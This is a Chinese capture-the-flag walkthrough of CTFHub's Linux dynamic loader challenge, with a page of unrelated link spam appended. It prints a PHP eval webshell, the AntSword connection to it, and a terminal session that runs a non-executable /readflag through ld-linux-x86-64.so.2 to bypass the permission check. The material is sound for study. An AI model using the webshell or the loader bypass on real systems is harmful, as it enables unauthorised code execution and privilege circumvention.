当前位置: 首页 > news >正文

CTFHub Web进阶-Linux:动态装载

目录

一、动态装载原理

1、问题描述

2、解决方案

3、/lib64/ld-linux-x86-64.so.2 

(1)正常执行流程

(2)动态链接器执行流程

二、渗透实战

1、进入关卡

2、打开靶场

3、点击webshell

4、连接蚁剑工具

5、虚拟终端-发现/readflag无权限执行

6、动态加载执行/readflag


本文详细讲解CTFHub的Web进阶中LInux的动态装载关卡的渗透全流程。当目标文件/readflag缺少执行权限时,通过调用/lib64/ld-linux-x86-64.so.2加载器直接执行该文件,绕过了权限检查。在CTF实战中,通过Webshell连接靶机,发现/readflag无执行权限后,使用动态链接器成功获取flag值ctfhub{6b89d6f2130ec53f42be5b6f}。该方法利用了动态链接器本身的执行权限,在不修改文件权限的情况下实现了程序执行。

一、动态装载原理

1、问题描述

在linux系统中,当ELF没有 x 权限时, 如何执行?

# chmod 755 /readflag
# /readflag
ctfhub{demoflag}
#
# chown root:root /readflag
# chmod 644 /readflag
# ls -l /readflag
-rw-r--r-- 1 root root 8648 Mar  6 15:48 /readflag

2、解决方案

本文给出的解决方案是利用动态链接器本身具有执行权限的特性来绕过目标文件的权限检查。当直接执行/lib64/ld-linux-x86-64.so.2 /readflag时,内核只验证动态链接器的执行权限,而动态链接器在加载目标ELF文件时不会重新检查其执行权限。动态链接器会读取/readflag的ELF头信息,将其代码段通过mmap映射为可执行内存区域,并设置必要的辅助向量,最终跳转到程序的入口点执行。这种方法本质上是通过可信的系统组件(动态链接器)作为中介,在保持系统安全边界的同时,实现了对无执行权限ELF文件的加载和执行。无论是64位系统的ld-linux-x86-64.so.2还是32位系统的ld-linux.so.2,其工作原理完全相同,只是针对不同架构的动态链接器路径有所区别。

# 对于64位系统
/lib64/ld-linux-x86-64.so.2 /readflag# 对于32位系统
/lib/ld-linux.so.2 /readflag

3、/lib64/ld-linux-x86-64.so.2 

/lib64/ld-linux-x86-64.so.2 是Linux系统的动态链接器/加载器,它本身是一个具有执行权限的ELF文件。当你直接执行一个ELF程序时,内核实际上会先加载动态链接器,然后由动态链接器来加载目标程序。

(1)正常执行流程

./program
↓
内核识别ELF → 读取INTERP → 执行/lib64/ld-linux-x86-64.so.2 → 加载program

(2)动态链接器执行流程

/lib64/ld-linux-x86-64.so.2 /readflag
↓
内核执行ld-linux-x86-64.so.2 → 加载器解析参数 → 加载/readflag

二、渗透实战

1、进入关卡

进入关卡,页面提示“本题难度较大,谨慎开启。学习 Linux ELF Dynaamic Loader 技术。在 ELF 无 x 权限时运行 ELF 文件。”,具体如下所示。

2、打开靶场

打开URL地址,在CTFHub Linux动态装载挑战关卡中,总体要解决的问题就是面对无执行权限的ELF文件/readflag(权限644),如何能执行/readflag读取flag呢?

http://challenge-e77c26035e8b5cc4.sandbox.ctfhub.com:10800/

3、点击webshell

点击webshell链接欸,如下所示进入到了如下页面。

http://challenge-e77c26035e8b5cc4.sandbox.ctfhub.com:10800/ant.php

很明显这是一个典型的PHP一句话木马后门脚本,具有严重的安全威胁:

  • eval(): 执行字符串作为PHP代码的危险函数

  • $_REQUEST['ant']: 从GET/POST/COOKIE接收参数'ant'

  • @: 错误抑制运算符,隐藏执行错误

<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>

4、连接蚁剑工具

http://challenge-e77c26035e8b5cc4.sandbox.ctfhub.com:10800/ant.php 密码ant

5、虚拟终端-发现/readflag无权限执行

通过“选中木马的会话-右键-虚拟终端”进入在新木马的虚拟终端窗口,如下所示。

分别执行ls -l命令、ls -l /命令,以及file readflag命令和/readflag命令,如下所示。

    从命令输出可明确关键信息,这是后续操作的前提:

    • 当前用户为www-data,属于低权限用户。
    • 目标文件/readflag是 64 位 ELF 可执行程序,但直接执行(/readflag)时提示 “Permission denied”,说明该文件对www-data用户没有执行权限(x权限)。
    • 根目录下存在flag文件,但权限为-rw-------,仅 root 用户可读写,www-data无法直接访问。

    6、动态加载执行/readflag

    /lib64/ld-linux-x86-64.so.2 是Linux系统的动态链接器/加载器,它本身是一个具有执行权限的ELF文件。当你直接执行一个ELF程序时,内核实际上会先加载动态链接器,然后由动态链接器来加载目标程序

    /lib64/ld-linux-x86-64.so.2 /readflag

    如下所示,成功获取到flag值ctfhub{6b89d6f2130ec53f42be5b6f}。

    常规执行/readflag失败后,通过调用程序的动态链接器实现了突破,原理如下:

    • Linux 下的 ELF 可执行程序通常依赖动态链接器(如/lib64/ld-linux-x86-64.so.2)加载运行。
    • 当直接调用动态链接器,并将/readflag作为参数传入时(/lib64/ld-linux-x86-64.so.2 /readflag),本质是让动态链接器 “加载并运行”/readflag的代码。
    • 这种方式绕开了/readflag文件本身的执行权限检查,因为此时执行的主体是动态链接器(它对www-data有执行权限),而非/readflag文件。

    完整的交互信息如下所示。

    (*) 基础信息
    当前路径: /var/www/html
    磁盘列表: /
    系统信息: Linux challenge-e77c26035e8b5cc4-68f57f8455-jx8r5 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
    当前用户: www-data
    (*) 输入 ashelp 查看本地命令
    (www-data:/var/www/html) $ ls -l
    total 8
    -rw-r--r-- 1 root root  56 Mar  7  2020 ant.php
    -rw-r--r-- 1 root root 541 Mar  7  2020 index.php
    (www-data:/var/www/html) $ ls -l /
    total 84
    drwxr-xr-x   1 root root 4096 Mar  3  2020 bin
    drwxr-xr-x   2 root root 4096 Jun 26  2018 boot
    drwxr-xr-x   5 root root  360 Oct 31 08:51 dev
    drwxr-xr-x   1 root root 4096 Oct 31 08:51 etc
    -rw-------   1 root root   33 Oct 31 08:51 flag
    drwxr-xr-x   2 root root 4096 Jun 26  2018 home
    drwxr-xr-x   1 root root 4096 Jul 17  2018 lib
    drwxr-xr-x   2 root root 4096 Jul 16  2018 lib64
    drwxr-xr-x   2 root root 4096 Jul 16  2018 media
    drwxr-xr-x   2 root root 4096 Jul 16  2018 mnt
    drwxr-x--x   1 root root 4096 Mar  9  2020 opt
    dr-xr-xr-x 292 root root    0 Oct 31 08:51 proc
    -rw-r--r--   1 root root 8648 Mar  9  2020 readflag
    drwx------   1 root root 4096 Mar  9  2020 root
    drwxr-xr-x   1 root root 4096 Oct 31 08:51 run
    drwxr-xr-x   1 root root 4096 Mar  3  2020 sbin
    drwxr-xr-x   2 root root 4096 Jul 16  2018 srv
    dr-xr-xr-x  13 root root    0 Oct 31 08:51 sys
    drwxrwxrwt   1 root root 4096 Oct 31 08:51 tmp
    drwxr-xr-x   1 root root 4096 Jul 16  2018 usr
    drwxr-xr-x   1 root root 4096 Jul 17  2018 var
    (www-data:/var/www/html) $ file /readflag
    /readflag: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=076bc9f27e5a724b1bfc3dc13fad0c8924737e51, not stripped
    (www-data:/var/www/html) $ /readflag
    /bin/sh: 1: /readflag: Permission denied
    (www-data:/var/www/html) $ /lib64/ld-linux-x86-64.so.2 /readflag
    ctfhub{6b89d6f2130ec53f42be5b6f}
    

    http://www.dtcms.com/a/601414.html

    相关文章:

  • Nginx域名与SSL证书配置完整流程
  • 美食网站要怎么做自己做相册的网站
  • 全国 网站备案 数量电子设计工程官网
  • 一、UDP以太网帧格式
  • 网络协议设计原则简介和资料推荐
  • 有哪些程序网站品牌和商标的区别
  • C语言编译器选择指南 | 初学者实用教程
  • 小智机器人MCP
  • 对于给不良网站发律师函如何做收银系统哪个软件好
  • 网站管理工作总结安阳县事业单位招聘2021
  • RK-Android11-修改系统的鼠标光标
  • vs2022 IDE扩展无法卸载/VSI 插件卸载及实例清理
  • 华为OD机试 双机位A卷 - 智能驾驶 (JAVA Python C++ JS GO)
  • 广州网站制作实力乐云seo怎么提高网站的流量
  • 开源工具 yt-dlp 超简易上手版
  • 郑州网站优化外包顾问上海网站建设 分类广告
  • SSM基于WEB的教学质量评价系统的设计与实现p9ak6(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
  • PCB常用规则
  • Node.js 集成百度语音
  • 求一个网站开发接项目的平台做网站的外包需要分享客户信息
  • 怎么用PS做网站横幅wordpress 抽奖
  • 【开题答辩全过程】以 基于Vue.js和Node.js的在线旅游平网站的设计和实现为例,包含答辩的问题和答案
  • MySQL快速入门——用户管理
  • 中咨城建设计南京网站网站建设南昌
  • 大连网站制作流程在哪里可以免费自学seo课程
  • [智能体设计模式]第3章 并行化
  • Prisma 原生 SQL 多表联查完整指南
  • 哪个网站原创文章旅游集团网站建设
  • AI搜索不提你的品牌?从GEO诊断开始
  • Elasticsearch 7.6 安装 Jieba 中文分词插件完整教程